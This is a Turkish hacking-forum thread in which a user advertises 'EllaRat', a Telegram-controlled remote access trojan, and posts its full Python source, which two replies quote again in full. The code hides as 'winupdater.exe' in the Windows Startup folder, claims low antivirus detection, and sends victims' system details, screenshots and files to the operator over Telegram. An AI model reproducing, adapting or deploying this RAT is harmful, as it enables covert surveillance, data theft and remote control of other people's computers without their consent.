Hoşgeldin Misafir

EllaRat--Telegram kontrollü Rat

Stronger_Cracker

25 Tem 2022
6,396 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba bugün sizlere yapmış olduğum "Rat" programini tanıtıcam

=> Başlamadan önce bi yorum atarsanız begenirsrniz cok sevinirim şimdi gecelerim buna bağlı olarak devamını yapabilirim teşekkürler

Botun özelliği telegram botuna komut vererek calışması boylece bi sunucuya ihtiyaç duymadan çalışabiliyo

-Sistem her açılışta otomatik olarak çalışır ve çalıştığında, sistemin aktif olduğunu belirten bir bildirim kullanıcıya gönderilir

-Antiviruslere yakalanma orani çok düşük yakalanirsa (başlangıca ekleme) kismi yakalanır

-bi sıkıntısıda bilgi bilen bi kişi chat id ye ulasilabilir ama bi sorun halledicem

-Gelin komutlara bakalım

Komutlar ve Özellikler
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔧 TEMEL KOMUTLAR
───────────────────────────────────────
/start - Botu aktifleştirir -- İlk başta botu başlatmanız lazım
/stopbot - Botu tamamen kapatır
/help - Tüm komutları gösterir
/checklog - Bot durumunu kontrol eder
/info - Sistem bilgilerini gösterir

📁 DOSYA KOMUTLARI
───────────────────────────────────────
/listdir [klasör] - Klasör içeriğini listeler
/get <dosya> - Dosya/klasör indirir
-Ekstardan dosya çalıştırmada var
Bota mesaj attığınız yere ister zipin icinde olsun exe ister direk yollayin çalıştıracak

🖥 UZAKTAN KONTROL
───────────────────────────────────────
/screenshot - Ekran görüntüsü alır
/stopall - Tüm işlemleri durdurur
/stop <PID> - Belirli işlemi durdurur
/status - Çalışan işlemleri listeler

-Önemli olan Dosya komutlari anlatmak isterim

1.Dosya Çalıştırma
Exe , .py vb çalıştırabilen uygulamaliri destekler

kn3w5cs.png


2.Seçenek

cdjoolm.png


3.Sırada dosya listeleme ve çekme

7g4v0a1.png


-Gördüğünüz gibi işlem tamma ama sonraki dosyaya nasil geçicez
( .idlerc )kısmına girmek istiyom
Tekrar /listdir .idlerc diyerek dizinler arasinda geziniyoruz

=> /get dosya ismi diyerekte istediginizi çekebilirsiniz

isteyene kaynak kodu
Python:
import os
import sys
import shutil
import subprocess
import socket
import time
import uuid
import tempfile
import zipfile
import psutil
import mss
import telebot
from datetime import datetime
from pathlib import Path
import platform
import requests

# ======= BURAYA KENDİ TOKEN VE CHAT ID GİR =======
bot_token = '{TOKEN}'
authorized_users = [{CHAT_ID}]
# ================================================

def copy_to_startup():
    if not getattr(sys, 'frozen', False):
        return  # PyInstaller ile paketlenmemişse atla

    exe_path = sys.executable
    startup_dir = os.path.join(os.getenv("APPDATA"), r"Microsoft\\Windows\\Start Menu\\Programs\\Startup")
    target_path = os.path.join(startup_dir, "winupdater.exe")

    if os.path.exists(target_path):
        try:
            if os.path.samefile(exe_path, target_path):
                print("ℹ️ Zaten başlangıç klasöründe.")
                return
        except AttributeError:
            if os.path.getsize(exe_path) == os.path.getsize(target_path):
                print("ℹ️ Aynı dosya zaten var.")
                return

    try:
        shutil.copy2(exe_path, target_path)
        print("✅ Startup klasörüne kopyalandı.")
    except Exception as e:
        print(f"❌ Startup kopyalama hatası: {e}")

copy_to_startup()

def wait_for_internet(timeout=120):
    print("🌐 İnternet bekleniyor...")
    for _ in range(timeout):
        try:
            socket.create_connection(("1.1.1.1", 53), timeout=2)
            print("✅ İnternet bağlantısı var.")
            return True
        except OSError:
            time.sleep(1)
    print("❌ İnternet bağlantısı yok.")
    return False

if not wait_for_internet():
    sys.exit(1)

bot = telebot.TeleBot(bot_token)

active_users = set()
pending_files = {}
running_processes = []
user_current_dirs = {}
bot_active = True

def is_authorized(message):
    return message.chat.id in authorized_users

def is_active_user(message):
    return message.chat.id in active_users and bot_active

def send_activation_message():
    for user_id in authorized_users:
        try:
            bot.send_message(user_id, "🟢 Sistem aktif ve çalışıyor!")
        except Exception as e:
            print(f"⚠️ Aktivasyon mesajı gönderilemedi ({user_id}): {e}")

send_activation_message()

@bot.message_handler(commands=['start'])
def start_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.add(message.chat.id)
        bot_active = True
        bot.reply_to(message, "✅ Bot aktif edildi. Komutları kullanabilirsiniz. Yardım için /help")

@bot.message_handler(commands=['stopbot'])
def stop_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.discard(message.chat.id)
        bot_active = False
        bot.reply_to(message, "🛑 Bot devre dışı bırakıldı. Tüm komutlar kapatıldı.")

@bot.message_handler(commands=['help'])
def help_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
    
    help_text = (
        "📌 Komut Listesi:\n\n"
        "🔹 Temel Komutlar:\n"
        "/start - Botu başlat\n"
        "/stopbot - Botu durdur\n"
        "/help - Yardım menüsü\n"
        "/checklog - Sistem durumunu kontrol et\n"
        "/info - Sistem bilgilerini göster\n\n"
        "🔹 Dosya Yönetimi:\n"
        "/listdir <klasör_yolu> - Klasör içeriğini listeler\n"
        "/get <dosya_veya_klasör_adı> - Dosya veya klasör indir\n\n"
        "🔹 Uzaktan Kontrol:\n"
        "/screenshot - Ekran görüntüsü al\n"
        "/stopall - Tüm çalışan dosyaları durdur\n"
        "/stop <pid> - Belirli işlemi kapat\n"
        "/status - Aktif çalışanları listeler\n\n"
        "📁 Önce /listdir ile klasöre gidin, sonra /get ile indirin\n"
        "📄 Dosya gönderip 'evet' diyerek çalıştırabilirsiniz"
    )
    bot.reply_to(message, help_text)

@bot.message_handler(commands=['checklog'])
def checklog_command(message):
    if is_authorized(message):
        status = "aktif" if bot_active else "pasif"
        bot.reply_to(message, f"✅ Sistem {status} ve çalışıyor.")
    else:
        bot.reply_to(message, "❌ Yetkisiz kullanıcı.")

@bot.message_handler(commands=['listdir'])
def listdir_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
    
    if len(args) == 1:
        base_path = Path.home()
    else:
        param = args[1].strip()
        if param.startswith(("C:\\", "/", "~")):
            base_path = Path(param).expanduser()
        else:
            if chat_id in user_current_dirs and user_current_dirs[chat_id]:
                base_path = user_current_dirs[chat_id] / param
            else:
                base_path = Path.home() / param

    if not base_path.exists() or not base_path.is_dir():
        bot.reply_to(message, f"⚠️ Klasör bulunamadı: {base_path}")
        return

    try:
        items = os.listdir(base_path)
        if not items:
            bot.reply_to(message, f"ℹ️ '{base_path}' klasöründe hiçbir şey yok.")
            return

        text = f"📂 '{base_path}' içeriği:\n"
        for i, item in enumerate(items, 1):
            full_path = base_path / item
            icon = "📁" if full_path.is_dir() else "📄"
            text += f"{i}) {icon} {item}\n"

        text += "\nDosya veya klasör indirmek için:\n/get <dosya_veya_klasör_adı>\n" \
                "Başka klasöre geçmek için:\n/listdir <klasör_adı>"
        bot.reply_to(message, text)
        user_current_dirs[chat_id] = base_path

    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['get'])
def get_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
    
    if len(args) != 2:
        bot.reply_to(message, "❗ Kullanım: /get <dosya_veya_klasör_adı>")
        return

    if chat_id not in user_current_dirs or user_current_dirs[chat_id] is None:
        bot.reply_to(message, "❗ Önce bir klasör seçmelisiniz. (/listdir komutunu kullanın)")
        return

    selected_name = args[1].strip()
    current_folder = user_current_dirs[chat_id]
    target_path = current_folder / selected_name

    if not target_path.exists():
        bot.reply_to(message, "⚠️ Dosya veya klasör bulunamadı.")
        return

    try:
        if target_path.is_file():
            with open(target_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📄 Dosya: {target_path.name}")
        else:
            zip_path = Path(tempfile.gettempdir()) / f"{selected_name}_{uuid.uuid4().hex}.zip"
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, _, files in os.walk(target_path):
                    for file in files:
                        file_path = Path(root) / file
                        zipf.write(file_path, file_path.relative_to(target_path.parent))
            with open(zip_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📁 Klasör (ZIP): {target_path.name}")
            os.remove(zip_path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['info'])
def info_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    try:
        hostname = socket.gethostname()
        username = os.getlogin()
        os_name = platform.system()
        os_release = platform.release()
        os_version = platform.version()
        architecture = platform.machine()
        
        try:
            local_ip = socket.gethostbyname(hostname)
        except:
            local_ip = "Bilinmiyor"
        
        try:
            external_ip = requests.get('https://api.ipify.org', timeout=5).text
        except:
            external_ip = "Bilinmiyor"

        info_text = (
            f"🖥️ Sistem Bilgileri:\n\n"
            f"📛 Bilgisayar Adı: {hostname}\n"
            f"👤 Kullanıcı Adı: {username}\n"
            f"💻 İşletim Sistemi: {os_name} {os_release}\n"
            f"🔢 Sürüm: {os_version}\n"
            f"⚙️ Mimari: {architecture}\n"
            f"🌐 Yerel IP: {local_ip}\n"
            f"📡 Dış IP: {external_ip}\n"
            f"🔌 Bot Durumu: {'Aktif' if bot_active else 'Pasif'}"
        )
        bot.reply_to(message, info_text)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Sistem bilgileri alınırken hata oluştu: {e}")

@bot.message_handler(commands=['screenshot'])
def screenshot_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
    try:
        path = os.path.join(tempfile.gettempdir(), f"screenshot_{datetime.now().strftime('%H%M%S')}.png")
        with mss.mss() as sct:
            sct.shot(output=path)
        with open(path, 'rb') as img:
            bot.send_photo(message.chat.id, img)
        os.remove(path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Görüntü alınamadı: {e}")

print("🤖 Bot çalışıyor...")
bot.infinity_polling()

isteyene arayüzlü hali
=> indirmek için



ekran görüntüsü

q0eqwsl.png


-zipten ayıklarken fazla dosa olmasının nedeni pyinstaller ile exe cevirıdığ
m icindir bilginize


Anlatmak istediklerim bukadar bi eleştiriniz veya dikkate almam gerrkn bisey varsa yaziniz lütfen
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Telegram kontrollü RAT kullanırken, güvenlik ve gizlilik açısından dikkatli olun. Güvenilir olmayan kişilerden gelen bağlantılara tıklama ve kişisel bilgileri paylaşmaktan kaçın. Ayrıca, yasa dışı veya etik olmayan amaçlar için kullanılmamalıdır.
 

ustacım

18 Mar 2024
321 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba bugün sizlere yapmış olduğum "Rat" programini tanıtıcam

=> Başlamadan önce bi yorum atarsanız begenirsrniz cok sevinirim şimdi gecelerim buna bağlı olarak devamını yapabilirim teşekkürler

Botun özelliği telegram botuna komut vererek calışması boylece bi sunucuya ihtiyaç duymadan çalışabiliyo

-Sistem her açılışta otomatik olarak çalışır ve çalıştığında, sistemin aktif olduğunu belirten bir bildirim kullanıcıya gönderilir

-Antiviruslere yakalanma orani çok düşük yakalanirsa (başlangıca ekleme) kismi yakalanır

-bi sıkıntısıda bilgi bilen bi kişi chat id ye ulasilabilir ama bi sorun halledicem

-Gelin komutlara bakalım

Komutlar ve Özellikler
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔧 TEMEL KOMUTLAR
───────────────────────────────────────
/start - Botu aktifleştirir -- İlk başta botu başlatmanız lazım
/stopbot - Botu tamamen kapatır
/help - Tüm komutları gösterir
/checklog - Bot durumunu kontrol eder
/info - Sistem bilgilerini gösterir

📁 DOSYA KOMUTLARI
───────────────────────────────────────
/listdir [klasör] - Klasör içeriğini listeler
/get <dosya> - Dosya/klasör indirir
-Ekstardan dosya çalıştırmada var
Bota mesaj attığınız yere ister zipin icinde olsun exe ister direk yollayin çalıştıracak

🖥 UZAKTAN KONTROL
───────────────────────────────────────
/screenshot - Ekran görüntüsü alır
/stopall - Tüm işlemleri durdurur
/stop <PID> - Belirli işlemi durdurur
/status - Çalışan işlemleri listeler

-Önemli olan Dosya komutlari anlatmak isterim

1.Dosya Çalıştırma
Exe , .py vb çalıştırabilen uygulamaliri destekler

kn3w5cs.png


2.Seçenek

cdjoolm.png


3.Sırada dosya listeleme ve çekme

7g4v0a1.png


-Gördüğünüz gibi işlem tamma ama sonraki dosyaya nasil geçicez
( .idlerc )kısmına girmek istiyom
Tekrar /listdir .idlerc diyerek dizinler arasinda geziniyoruz

=> /get dosya ismi diyerekte istediginizi çekebilirsiniz

isteyene kaynak kodu
Python:
import os
import sys
import shutil
import subprocess
import socket
import time
import uuid
import tempfile
import zipfile
import psutil
import mss
import telebot
from datetime import datetime
from pathlib import Path
import platform
import requests

# ======= BURAYA KENDİ TOKEN VE CHAT ID GİR =======
bot_token = '{TOKEN}'
authorized_users = [{CHAT_ID}]
# ================================================

def copy_to_startup():
    if not getattr(sys, 'frozen', False):
        return  # PyInstaller ile paketlenmemişse atla

    exe_path = sys.executable
    startup_dir = os.path.join(os.getenv("APPDATA"), r"Microsoft\\Windows\\Start Menu\\Programs\\Startup")
    target_path = os.path.join(startup_dir, "winupdater.exe")

    if os.path.exists(target_path):
        try:
            if os.path.samefile(exe_path, target_path):
                print("ℹ️ Zaten başlangıç klasöründe.")
                return
        except AttributeError:
            if os.path.getsize(exe_path) == os.path.getsize(target_path):
                print("ℹ️ Aynı dosya zaten var.")
                return

    try:
        shutil.copy2(exe_path, target_path)
        print("✅ Startup klasörüne kopyalandı.")
    except Exception as e:
        print(f"❌ Startup kopyalama hatası: {e}")

copy_to_startup()

def wait_for_internet(timeout=120):
    print("🌐 İnternet bekleniyor...")
    for _ in range(timeout):
        try:
            socket.create_connection(("1.1.1.1", 53), timeout=2)
            print("✅ İnternet bağlantısı var.")
            return True
        except OSError:
            time.sleep(1)
    print("❌ İnternet bağlantısı yok.")
    return False

if not wait_for_internet():
    sys.exit(1)

bot = telebot.TeleBot(bot_token)

active_users = set()
pending_files = {}
running_processes = []
user_current_dirs = {}
bot_active = True

def is_authorized(message):
    return message.chat.id in authorized_users

def is_active_user(message):
    return message.chat.id in active_users and bot_active

def send_activation_message():
    for user_id in authorized_users:
        try:
            bot.send_message(user_id, "🟢 Sistem aktif ve çalışıyor!")
        except Exception as e:
            print(f"⚠️ Aktivasyon mesajı gönderilemedi ({user_id}): {e}")

send_activation_message()

@bot.message_handler(commands=['start'])
def start_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.add(message.chat.id)
        bot_active = True
        bot.reply_to(message, "✅ Bot aktif edildi. Komutları kullanabilirsiniz. Yardım için /help")

@bot.message_handler(commands=['stopbot'])
def stop_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.discard(message.chat.id)
        bot_active = False
        bot.reply_to(message, "🛑 Bot devre dışı bırakıldı. Tüm komutlar kapatıldı.")

@bot.message_handler(commands=['help'])
def help_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
   
    help_text = (
        "📌 Komut Listesi:\n\n"
        "🔹 Temel Komutlar:\n"
        "/start - Botu başlat\n"
        "/stopbot - Botu durdur\n"
        "/help - Yardım menüsü\n"
        "/checklog - Sistem durumunu kontrol et\n"
        "/info - Sistem bilgilerini göster\n\n"
        "🔹 Dosya Yönetimi:\n"
        "/listdir <klasör_yolu> - Klasör içeriğini listeler\n"
        "/get <dosya_veya_klasör_adı> - Dosya veya klasör indir\n\n"
        "🔹 Uzaktan Kontrol:\n"
        "/screenshot - Ekran görüntüsü al\n"
        "/stopall - Tüm çalışan dosyaları durdur\n"
        "/stop <pid> - Belirli işlemi kapat\n"
        "/status - Aktif çalışanları listeler\n\n"
        "📁 Önce /listdir ile klasöre gidin, sonra /get ile indirin\n"
        "📄 Dosya gönderip 'evet' diyerek çalıştırabilirsiniz"
    )
    bot.reply_to(message, help_text)

@bot.message_handler(commands=['checklog'])
def checklog_command(message):
    if is_authorized(message):
        status = "aktif" if bot_active else "pasif"
        bot.reply_to(message, f"✅ Sistem {status} ve çalışıyor.")
    else:
        bot.reply_to(message, "❌ Yetkisiz kullanıcı.")

@bot.message_handler(commands=['listdir'])
def listdir_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
   
    if len(args) == 1:
        base_path = Path.home()
    else:
        param = args[1].strip()
        if param.startswith(("C:\\", "/", "~")):
            base_path = Path(param).expanduser()
        else:
            if chat_id in user_current_dirs and user_current_dirs[chat_id]:
                base_path = user_current_dirs[chat_id] / param
            else:
                base_path = Path.home() / param

    if not base_path.exists() or not base_path.is_dir():
        bot.reply_to(message, f"⚠️ Klasör bulunamadı: {base_path}")
        return

    try:
        items = os.listdir(base_path)
        if not items:
            bot.reply_to(message, f"ℹ️ '{base_path}' klasöründe hiçbir şey yok.")
            return

        text = f"📂 '{base_path}' içeriği:\n"
        for i, item in enumerate(items, 1):
            full_path = base_path / item
            icon = "📁" if full_path.is_dir() else "📄"
            text += f"{i}) {icon} {item}\n"

        text += "\nDosya veya klasör indirmek için:\n/get <dosya_veya_klasör_adı>\n" \
                "Başka klasöre geçmek için:\n/listdir <klasör_adı>"
        bot.reply_to(message, text)
        user_current_dirs[chat_id] = base_path

    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['get'])
def get_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
   
    if len(args) != 2:
        bot.reply_to(message, "❗ Kullanım: /get <dosya_veya_klasör_adı>")
        return

    if chat_id not in user_current_dirs or user_current_dirs[chat_id] is None:
        bot.reply_to(message, "❗ Önce bir klasör seçmelisiniz. (/listdir komutunu kullanın)")
        return

    selected_name = args[1].strip()
    current_folder = user_current_dirs[chat_id]
    target_path = current_folder / selected_name

    if not target_path.exists():
        bot.reply_to(message, "⚠️ Dosya veya klasör bulunamadı.")
        return

    try:
        if target_path.is_file():
            with open(target_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📄 Dosya: {target_path.name}")
        else:
            zip_path = Path(tempfile.gettempdir()) / f"{selected_name}_{uuid.uuid4().hex}.zip"
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, _, files in os.walk(target_path):
                    for file in files:
                        file_path = Path(root) / file
                        zipf.write(file_path, file_path.relative_to(target_path.parent))
            with open(zip_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📁 Klasör (ZIP): {target_path.name}")
            os.remove(zip_path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['info'])
def info_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    try:
        hostname = socket.gethostname()
        username = os.getlogin()
        os_name = platform.system()
        os_release = platform.release()
        os_version = platform.version()
        architecture = platform.machine()
       
        try:
            local_ip = socket.gethostbyname(hostname)
        except:
            local_ip = "Bilinmiyor"
       
        try:
            external_ip = requests.get('https://api.ipify.org', timeout=5).text
        except:
            external_ip = "Bilinmiyor"

        info_text = (
            f"🖥️ Sistem Bilgileri:\n\n"
            f"📛 Bilgisayar Adı: {hostname}\n"
            f"👤 Kullanıcı Adı: {username}\n"
            f"💻 İşletim Sistemi: {os_name} {os_release}\n"
            f"🔢 Sürüm: {os_version}\n"
            f"⚙️ Mimari: {architecture}\n"
            f"🌐 Yerel IP: {local_ip}\n"
            f"📡 Dış IP: {external_ip}\n"
            f"🔌 Bot Durumu: {'Aktif' if bot_active else 'Pasif'}"
        )
        bot.reply_to(message, info_text)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Sistem bilgileri alınırken hata oluştu: {e}")

@bot.message_handler(commands=['screenshot'])
def screenshot_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
    try:
        path = os.path.join(tempfile.gettempdir(), f"screenshot_{datetime.now().strftime('%H%M%S')}.png")
        with mss.mss() as sct:
            sct.shot(output=path)
        with open(path, 'rb') as img:
            bot.send_photo(message.chat.id, img)
        os.remove(path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Görüntü alınamadı: {e}")

print("🤖 Bot çalışıyor...")
bot.infinity_polling()

isteyene arayüzlü hali
=> indirmek için

*** Gizli metin: alıntı yapılamaz. ***


ekran görüntüsü

q0eqwsl.png


-zipten ayıklarken fazla dosa olmasının nedeni pyinstaller ile exe cevirıdığ
m icindir bilginize


Anlatmak istediklerim bukadar bi eleştiriniz veya dikkate almam gerrkn bisey varsa yaziniz lütfen
teşekkürler
 

fronzyorj

16 Ağu 2025
56 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba bugün sizlere yapmış olduğum "Rat" programini tanıtıcam

=> Başlamadan önce bi yorum atarsanız begenirsrniz cok sevinirim şimdi gecelerim buna bağlı olarak devamını yapabilirim teşekkürler

Botun özelliği telegram botuna komut vererek calışması boylece bi sunucuya ihtiyaç duymadan çalışabiliyo

-Sistem her açılışta otomatik olarak çalışır ve çalıştığında, sistemin aktif olduğunu belirten bir bildirim kullanıcıya gönderilir

-Antiviruslere yakalanma orani çok düşük yakalanirsa (başlangıca ekleme) kismi yakalanır

-bi sıkıntısıda bilgi bilen bi kişi chat id ye ulasilabilir ama bi sorun halledicem

-Gelin komutlara bakalım

Komutlar ve Özellikler
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔧 TEMEL KOMUTLAR
───────────────────────────────────────
/start - Botu aktifleştirir -- İlk başta botu başlatmanız lazım
/stopbot - Botu tamamen kapatır
/help - Tüm komutları gösterir
/checklog - Bot durumunu kontrol eder
/info - Sistem bilgilerini gösterir

📁 DOSYA KOMUTLARI
───────────────────────────────────────
/listdir [klasör] - Klasör içeriğini listeler
/get <dosya> - Dosya/klasör indirir
-Ekstardan dosya çalıştırmada var
Bota mesaj attığınız yere ister zipin icinde olsun exe ister direk yollayin çalıştıracak

🖥 UZAKTAN KONTROL
───────────────────────────────────────
/screenshot - Ekran görüntüsü alır
/stopall - Tüm işlemleri durdurur
/stop <PID> - Belirli işlemi durdurur
/status - Çalışan işlemleri listeler

-Önemli olan Dosya komutlari anlatmak isterim

1.Dosya Çalıştırma
Exe , .py vb çalıştırabilen uygulamaliri destekler

kn3w5cs.png


2.Seçenek

cdjoolm.png


3.Sırada dosya listeleme ve çekme

7g4v0a1.png


-Gördüğünüz gibi işlem tamma ama sonraki dosyaya nasil geçicez
( .idlerc )kısmına girmek istiyom
Tekrar /listdir .idlerc diyerek dizinler arasinda geziniyoruz

=> /get dosya ismi diyerekte istediginizi çekebilirsiniz

isteyene kaynak kodu
Python:
import os
import sys
import shutil
import subprocess
import socket
import time
import uuid
import tempfile
import zipfile
import psutil
import mss
import telebot
from datetime import datetime
from pathlib import Path
import platform
import requests

# ======= BURAYA KENDİ TOKEN VE CHAT ID GİR =======
bot_token = '{TOKEN}'
authorized_users = [{CHAT_ID}]
# ================================================

def copy_to_startup():
    if not getattr(sys, 'frozen', False):
        return  # PyInstaller ile paketlenmemişse atla

    exe_path = sys.executable
    startup_dir = os.path.join(os.getenv("APPDATA"), r"Microsoft\\Windows\\Start Menu\\Programs\\Startup")
    target_path = os.path.join(startup_dir, "winupdater.exe")

    if os.path.exists(target_path):
        try:
            if os.path.samefile(exe_path, target_path):
                print("ℹ️ Zaten başlangıç klasöründe.")
                return
        except AttributeError:
            if os.path.getsize(exe_path) == os.path.getsize(target_path):
                print("ℹ️ Aynı dosya zaten var.")
                return

    try:
        shutil.copy2(exe_path, target_path)
        print("✅ Startup klasörüne kopyalandı.")
    except Exception as e:
        print(f"❌ Startup kopyalama hatası: {e}")

copy_to_startup()

def wait_for_internet(timeout=120):
    print("🌐 İnternet bekleniyor...")
    for _ in range(timeout):
        try:
            socket.create_connection(("1.1.1.1", 53), timeout=2)
            print("✅ İnternet bağlantısı var.")
            return True
        except OSError:
            time.sleep(1)
    print("❌ İnternet bağlantısı yok.")
    return False

if not wait_for_internet():
    sys.exit(1)

bot = telebot.TeleBot(bot_token)

active_users = set()
pending_files = {}
running_processes = []
user_current_dirs = {}
bot_active = True

def is_authorized(message):
    return message.chat.id in authorized_users

def is_active_user(message):
    return message.chat.id in active_users and bot_active

def send_activation_message():
    for user_id in authorized_users:
        try:
            bot.send_message(user_id, "🟢 Sistem aktif ve çalışıyor!")
        except Exception as e:
            print(f"⚠️ Aktivasyon mesajı gönderilemedi ({user_id}): {e}")

send_activation_message()

@bot.message_handler(commands=['start'])
def start_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.add(message.chat.id)
        bot_active = True
        bot.reply_to(message, "✅ Bot aktif edildi. Komutları kullanabilirsiniz. Yardım için /help")

@bot.message_handler(commands=['stopbot'])
def stop_bot(message):
    global bot_active
    if is_authorized(message):
        active_users.discard(message.chat.id)
        bot_active = False
        bot.reply_to(message, "🛑 Bot devre dışı bırakıldı. Tüm komutlar kapatıldı.")

@bot.message_handler(commands=['help'])
def help_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
   
    help_text = (
        "📌 Komut Listesi:\n\n"
        "🔹 Temel Komutlar:\n"
        "/start - Botu başlat\n"
        "/stopbot - Botu durdur\n"
        "/help - Yardım menüsü\n"
        "/checklog - Sistem durumunu kontrol et\n"
        "/info - Sistem bilgilerini göster\n\n"
        "🔹 Dosya Yönetimi:\n"
        "/listdir <klasör_yolu> - Klasör içeriğini listeler\n"
        "/get <dosya_veya_klasör_adı> - Dosya veya klasör indir\n\n"
        "🔹 Uzaktan Kontrol:\n"
        "/screenshot - Ekran görüntüsü al\n"
        "/stopall - Tüm çalışan dosyaları durdur\n"
        "/stop <pid> - Belirli işlemi kapat\n"
        "/status - Aktif çalışanları listeler\n\n"
        "📁 Önce /listdir ile klasöre gidin, sonra /get ile indirin\n"
        "📄 Dosya gönderip 'evet' diyerek çalıştırabilirsiniz"
    )
    bot.reply_to(message, help_text)

@bot.message_handler(commands=['checklog'])
def checklog_command(message):
    if is_authorized(message):
        status = "aktif" if bot_active else "pasif"
        bot.reply_to(message, f"✅ Sistem {status} ve çalışıyor.")
    else:
        bot.reply_to(message, "❌ Yetkisiz kullanıcı.")

@bot.message_handler(commands=['listdir'])
def listdir_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
   
    if len(args) == 1:
        base_path = Path.home()
    else:
        param = args[1].strip()
        if param.startswith(("C:\\", "/", "~")):
            base_path = Path(param).expanduser()
        else:
            if chat_id in user_current_dirs and user_current_dirs[chat_id]:
                base_path = user_current_dirs[chat_id] / param
            else:
                base_path = Path.home() / param

    if not base_path.exists() or not base_path.is_dir():
        bot.reply_to(message, f"⚠️ Klasör bulunamadı: {base_path}")
        return

    try:
        items = os.listdir(base_path)
        if not items:
            bot.reply_to(message, f"ℹ️ '{base_path}' klasöründe hiçbir şey yok.")
            return

        text = f"📂 '{base_path}' içeriği:\n"
        for i, item in enumerate(items, 1):
            full_path = base_path / item
            icon = "📁" if full_path.is_dir() else "📄"
            text += f"{i}) {icon} {item}\n"

        text += "\nDosya veya klasör indirmek için:\n/get <dosya_veya_klasör_adı>\n" \
                "Başka klasöre geçmek için:\n/listdir <klasör_adı>"
        bot.reply_to(message, text)
        user_current_dirs[chat_id] = base_path

    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['get'])
def get_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    chat_id = message.chat.id
    args = message.text.split(maxsplit=1)
   
    if len(args) != 2:
        bot.reply_to(message, "❗ Kullanım: /get <dosya_veya_klasör_adı>")
        return

    if chat_id not in user_current_dirs or user_current_dirs[chat_id] is None:
        bot.reply_to(message, "❗ Önce bir klasör seçmelisiniz. (/listdir komutunu kullanın)")
        return

    selected_name = args[1].strip()
    current_folder = user_current_dirs[chat_id]
    target_path = current_folder / selected_name

    if not target_path.exists():
        bot.reply_to(message, "⚠️ Dosya veya klasör bulunamadı.")
        return

    try:
        if target_path.is_file():
            with open(target_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📄 Dosya: {target_path.name}")
        else:
            zip_path = Path(tempfile.gettempdir()) / f"{selected_name}_{uuid.uuid4().hex}.zip"
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, _, files in os.walk(target_path):
                    for file in files:
                        file_path = Path(root) / file
                        zipf.write(file_path, file_path.relative_to(target_path.parent))
            with open(zip_path, 'rb') as f:
                bot.send_document(chat_id, f, caption=f"📁 Klasör (ZIP): {target_path.name}")
            os.remove(zip_path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Hata oluştu: {e}")

@bot.message_handler(commands=['info'])
def info_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return

    try:
        hostname = socket.gethostname()
        username = os.getlogin()
        os_name = platform.system()
        os_release = platform.release()
        os_version = platform.version()
        architecture = platform.machine()
       
        try:
            local_ip = socket.gethostbyname(hostname)
        except:
            local_ip = "Bilinmiyor"
       
        try:
            external_ip = requests.get('https://api.ipify.org', timeout=5).text
        except:
            external_ip = "Bilinmiyor"

        info_text = (
            f"🖥️ Sistem Bilgileri:\n\n"
            f"📛 Bilgisayar Adı: {hostname}\n"
            f"👤 Kullanıcı Adı: {username}\n"
            f"💻 İşletim Sistemi: {os_name} {os_release}\n"
            f"🔢 Sürüm: {os_version}\n"
            f"⚙️ Mimari: {architecture}\n"
            f"🌐 Yerel IP: {local_ip}\n"
            f"📡 Dış IP: {external_ip}\n"
            f"🔌 Bot Durumu: {'Aktif' if bot_active else 'Pasif'}"
        )
        bot.reply_to(message, info_text)
